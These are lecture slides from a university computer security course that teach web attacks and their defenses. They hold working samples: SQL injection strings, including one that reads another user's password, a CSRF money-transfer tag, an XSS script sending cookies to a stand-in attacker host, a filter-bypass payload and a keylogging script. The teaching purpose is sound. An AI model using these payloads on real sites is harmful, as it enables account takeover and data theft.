Web Attacks, con’t

CS 161: Computer Security

Prof. Vern Paxson

TAs: Devdatta Akhawe, Mobin Javed & Matthias Vallentin

http://inst.eecs.berkeley.edu/~cs161/

February 24, 2011
Announcements

• **Guest lecture** a week from Thursday (March 3rd), Prof. David Wagner
  – *Correction*: material will not be in scope for the Midterm

• My office hours the week of March 7th will be by appointment

• Homework #2 should be out by tonight, due in 1 week
Goals For Today

• Make previously discussed web attacks concrete
  – SQL injection
  – Cross-site request forgery (CSRF)
  – Reflected cross-site scripting (XSS)
• Illustrate additional web attacks
  – Stored XSS
  – Clickjacking
• … and discuss defenses


SQL Injection Scenario

• Suppose web server front end stores URL parameter “recipient” in variable $recipient and then builds up a string with the following SQL query:

```
$sql = "SELECT PersonID FROM Person
        WHERE Balance < 100 AND
        Username='$recipient' ";
```

• How can recipient cause trouble here?
  – How can we see anyone’s account?
SQL Injection Scenario, con’t

WHERE Balance < 100 AND Username='\$recipient'; "

• \$recipient = \textcolor{red}{\textbf{foo' OR 1=1; --}}
  WHERE Balance < 100 AND Username='\textcolor{red}{\textbf{foo' OR 1=1; --}}' "

• \textit{Precedence} & “--” (comment) makes this:
  WHERE (Balance < 100 AND Username='\textcolor{red}{\textbf{foo'}}) OR 1=1;

• \textbf{Always true!}
Demo Tools

• **Bro**: freeware network monitoring tool
  – Scriptable
  – Primarily designed for real-time intrusion detection
  – [www.bro-ids.org](http://www.bro-ids.org)

• **Squigler**
  – Cool “localhost” web site(s) (Python/SQLite)
  – Developed by Arel Cordero
  – Let me know if you’d like a copy to play with
def post_squig(user, squig):
    if not user or not squig: return
    conn = sqlite3.connect(DBFN)
    c = conn.cursor()
    c.executescript("INSERT INTO squigs VALUES
                     ('%s', '%s', datetime('now'));" %
                     (user, squig))
    conn.commit()
    c.close()

Server code for posting a “squig”

INSERT INTO squigs VALUES
(dilbert, 'don’t contractions work?',
 date);

Syntax error
INSERT INTO squigs VALUES
(dilbert, '' || (select password from accounts where username='bob') || '',
date);
INSERT INTO squigs VALUES
  (dilbert, ('') || (select password from accounts where username='bob') || ' '),
  (date, 'Empty string literals')
INSERT INTO squigs VALUES (dilbert, ''||(select password from accounts where username='bob'||',
date);

Concatenation operator.
Concatenation of string $S$ with empty string is just $S$

INSERT INTO squigs VALUES (dilbert, (select password from accounts where
username='bob'),
date);

Value of the squig will be Bob’s password!
Web Accesses w/ Side Effects

• Recall our earlier banking URL:

http://mybank.com/moneyxfer.cgi?account=alice&amt=50&to=bob

• So what happens if we visit evilsite.com, which includes:

  <img src="http://mybank.com/moneyxfer.cgi?Account=alice&amt=500000&to=DrEvil"/>

• Cross-Site Request Forgery (CSRF) attack
URL fetch for posting a squig

Request (to 127.0.0.1/8080): GET
    /do_squig?redirect=%2Fuserpage%3Fuser%3Ddilbert
    &squig=squigs+speak+a+deep+truth
HOST: "localhost:8080"
REFERER: "http://localhost:8080/userpage?user=dilbert"
COOKIE: "session_id=5321506"

Web action with side effect
URL fetch for posting a squig

Request (to 127.0.0.1/8080): GET
  /do_squig?redirect=%2Fuserpage%3Fuser%3Ddilbert
  &squig=squigs+speak+a+deep+truth
HOST: "localhost:8080"
REFERER:"http://localhost:8080/userpage?user=dilbert"
COOKIE: "session_id=5321506"

Authenticated with cookie that browser automatically sends along
Subversive Script Execution
Cross-Site Scripting (XSS)

• Attacker’s goal: cause victim’s browser to execute Javascript written by the attacker …

• … but with the browser believing that the script instead was sent by a trust server mybank.com
  – In order to circumvent the Same Origin Policy (SOP), which will prevent the browser from letting Javascript received directly from evil.com to have full access to content from mybank.com

• (Do not confuse with CSRF! CSRF is about web requests with side effects; XSS is about getting Javascript treated as though a trusted server sent it)
The Setup

• User input is echoed into HTML response.

• *Example*: search field
  – search.php responds with:

    ```html
    <HTML>    <TITLE> Search Results </TITLE>
    <BODY>
    Results for <?php echo $_GET['term'] ?> :
    . . .
    </BODY>   </HTML>
    ```

• How can an attacker exploit this?
Injection Via Bad Input

- Consider link: (properly URL encoded)

  <script> window.open(
    "http://badguy.com?cookie = " +
    document.cookie ) </script>

What if user clicks on this link?
1) Browser goes to victim.com/search.php
2) victim.com returns
   <HTML> Results for <script> ... </script> ...
3) Browser executes script in same origin as victim.com
   Sends badguy.com cookie for victim.com
   Or any other arbitrary execution / rewrite victim.com page
Demo on

(1) **Finding** and
(2) **Exploiting**

*Reflected XSS vulnerabilities*
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)

1. visit web site

Victim client

Attack Server
Cross-Site Scripting (XSS)

1. visit web site
2. receive malicious page

Victim client

Attack Server
Cross-Site Scripting (XSS)

1. Visit web site
2. Receive malicious page
3. Click on link

Exact URL under attacker’s control

Victim client

Server Patsy/Victim

Attack Server
Cross-Site Scripting (XSS)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input

Victim client

Attack Server

Server Patsy/Victim
Cross-Site Scripting (XSS)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute script embedded in input as though server meant us to run it
Cross-Site Scripting (XSS)

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input
6. perform attacker action

as though server meant us to run it
Cross-Site Scripting (XSS)

And/Or:

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. send valuable data
7. send valuable data

Victim client

Attack Server

Server Patsy/Victim
Cross-Site Scripting (XSS)

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. perform attacker action
7. send valuable data

(“Reflected” XSS attacks)
<table>
<thead>
<tr>
<th>Date</th>
<th>Author</th>
<th>Domain</th>
<th>R</th>
<th>S</th>
<th>F</th>
<th>PR</th>
<th>Category</th>
<th>Mirror</th>
</tr>
</thead>
<tbody>
<tr>
<td>21/02/11</td>
<td>LostBrilliance</td>
<td>audience.cnn.com</td>
<td>R</td>
<td></td>
<td>X</td>
<td>53</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>21/02/11</td>
<td>db</td>
<td>freedns.afraid.org</td>
<td></td>
<td>X</td>
<td></td>
<td>8834</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>19/02/11</td>
<td>h3rcul3s</td>
<td>cgw2010.indianexpress.com</td>
<td></td>
<td>X</td>
<td></td>
<td>2942</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>18/02/11</td>
<td>Yeyah</td>
<td>app.email.skype.com</td>
<td></td>
<td>X</td>
<td></td>
<td>189</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>17/02/11</td>
<td>warvector</td>
<td><a href="http://www.level3.com">www.level3.com</a></td>
<td></td>
<td>X</td>
<td></td>
<td>53575</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>17/02/11</td>
<td>SeeMe</td>
<td>api.screenname.aol.com</td>
<td></td>
<td>X</td>
<td></td>
<td>51</td>
<td>XSS</td>
<td>mirror</td>
</tr>
</tbody>
</table>
Stored Cross-Site Scripting

Attack Server
Stored Cross-Site Scripting

1. Attack Server
   - Inject malicious script

2. Server Patsy/Victim
Stored Cross-Site Scripting

1. Attack Server
   - Inject malicious script

Server Patsy/Victim

User Victim
Stored Cross-Site Scripting

1. Inject malicious script

2. Request content

User Victim

Attack Server

Server Patsy/Victim
Stored Cross-Site Scripting

1. Attack Server
   Inject malicious script

2. User Victim
   Request content

3. Server Patsy/Victim
   Receive malicious script
Stored Cross-Site Scripting

1. Inject malicious script

2. request content

3. receive malicious script

4. execute script embedded in input as though server meant us to run it
Stored Cross-Site Scripting

1. Inject malicious script
2. request content
3. receive malicious script
4. execute script embedded in input as though server meant us to run it
5. perform attacker action

User Victim

Server Patsy/Victim

Attack Server
Stored Cross-Site Scripting

And/Or:

1. **Inject malicious script**
2. **request content**
3. **receive malicious script**
4. **execute script embedded in input as though server meant us to run it**
5. **perform attacker action**
6. **steal valuable data**
Stored Cross-Site Scripting

1. Inject malicious script

2. Request content

3. Receive malicious script

4. Execute script embedded in input as though server meant us to run it

5. Perform attacker action

6. Steal valuable data

(A “stored” XSS attack)
Stored XSS Example: FaceSpace.com

• Users can post HTML on their pages
• FaceSpace.com ensures HTML contains no
  \<script\>, \<body\>, onclick, \<a href=javascript:/>\n• … but, say, can do Javascript within CSS tags:
  \<div style="background:url('javascript:alert(1)')">\n• … and can hide "javascript" as "java\nscript"
Stored XSS Example: FaceSpace.com

- Users can post HTML on their pages
- FaceSpace.com ensures HTML contains no `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
- ... but can do Javascript within CSS tags: `<div style="background:url('javascript:alert(1)')">`
- ... and can hide "javascript" as "java\nscript"

Server Patsy/Victim

Makes a wall comment (say) that includes a script snippet
Stored XSS Example:
FaceSpace.com

- Users can post HTML on their pages
- FaceSpace.com ensures HTML contains no `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
- ... but can do Javascript within CSS tags:
  `<div style="background:url('javascript:alert(1)')">`
- ... and can hide "javascript" as "java\nscript"
Stored XSS Example: FaceSpace.com

- Users can post HTML on their pages
- FaceSpace.com ensures HTML contains no `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
- ... but can do Javascript within CSS tags: `<div style="background:url('javascript:alert(1)')">`
- ... and can hide "javascript" as "java\nscript"

Run arbitrary X in full FaceSpace context

User Victim

Server Patsy/Victim
Stored XSS Example: FaceSpace.com

- Users can post HTML on their pages
- FaceSpace.com ensures HTML contains no `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
- ... but can do Javascript within CSS tags: `<div style="background:url('javascript:alert(1)')">`
- ... and can hide "javascript" as "java\nscript"

Exfiltrate data to attacker and/or make arb. FaceSpace changes
Demo on

(1) *Finding* and
(2) *Exploiting*
*Stored XSS vulnerabilities*
Squig that does key-logging of anyone viewing it!

Keys pressed: <span id="keys"></span>
<script>
document.onkeypress = function(e) {
    get = window.event?event:e;
    key = get.keyCode?get.keyCode:get.charCode;
    key = String.fromCharCode(key);
    document.getElementById("keys").innerHTML += key;
}
</script>
Protecting Servers Against XSS (OWASP)

- OWASP = *Open Web Application Security Project*
- The best way to protect against XSS attacks:
Protecting Servers Against XSS (OWASP)

• OWASP = Open Web Application Security Project
• The best way to protect against XSS attacks:
  – Ensure that your app validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed.
Protecting Servers Against XSS (OWASP)

• OWASP = Open Web Application Security Project
• The best way to protect against XSS attacks:
  – Ensure that your app validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed.
  – Do not attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content.
Protecting Servers Against XSS (OWASP)

- OWASP = Open Web Application Security Project
- The best way to protect against XSS attacks:
  - Ensure that your app validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed.
  - Do not attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content.
  - We [= OWASP] strongly recommend a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete.

Client-side? HARD
Attacks on User Volition

- Browser assumes clicks & keystrokes = clear indication of what the user wants to do
  - Constitutes part of the user’s trusted path
- Attack #1: commandeer the focus of user-input
**System scan progress**

- **Shared Documents**
  - 97 trojans

- **My Documents**
  - 334 trojans

**Hard drives**

- **Local Disk (C:)**
  - 353 trojans
- **Local Disk (D:)**
  - 78 trojans

**DVD**

- **DVD-ROM Drive (E:)**

Scan procedures finished. 431 Probably harmful items was found.

---

**Your Computer is Infected!**

**Threats and actions:**

<table>
<thead>
<tr>
<th>Name</th>
<th>Risk level</th>
<th>Date</th>
<th>Files infected</th>
<th>State</th>
</tr>
</thead>
<tbody>
<tr>
<td>Email-Worm.Win32.Myd</td>
<td>Critical</td>
<td>11.18.2008</td>
<td>65</td>
<td>Waiting removal</td>
</tr>
<tr>
<td>Win 32:Delf-XQ</td>
<td>Critical</td>
<td>11.18.2008</td>
<td>44</td>
<td>Waiting removal</td>
</tr>
</tbody>
</table>

**Description:**

This program is potentially dangerous for your system. **Trojan-Downloader** stealing passwords, credit cards and other personal information from your computer.

**Advice:**

You need to remove this threat as soon as possible!
SEPTEMBER 14, 2009

New York Times tricked into serving scareware ad

Fake Vonage ad was placed to the newspaper's Digital Advertising group

article, he performed an analysis of the site and discovered that the Times was allowing advertisers to embed an HTML element known as an iframe into their advertisements. This gave the criminals a way to include embedded Web pages in their copy that could be hosted on a completely different server, outside of the control of the Times.

Apparently the scammers waited until the weekend, when it would be hardest for IT staff to respond, before switching the ad by inserting new JavaScript code into that iframe.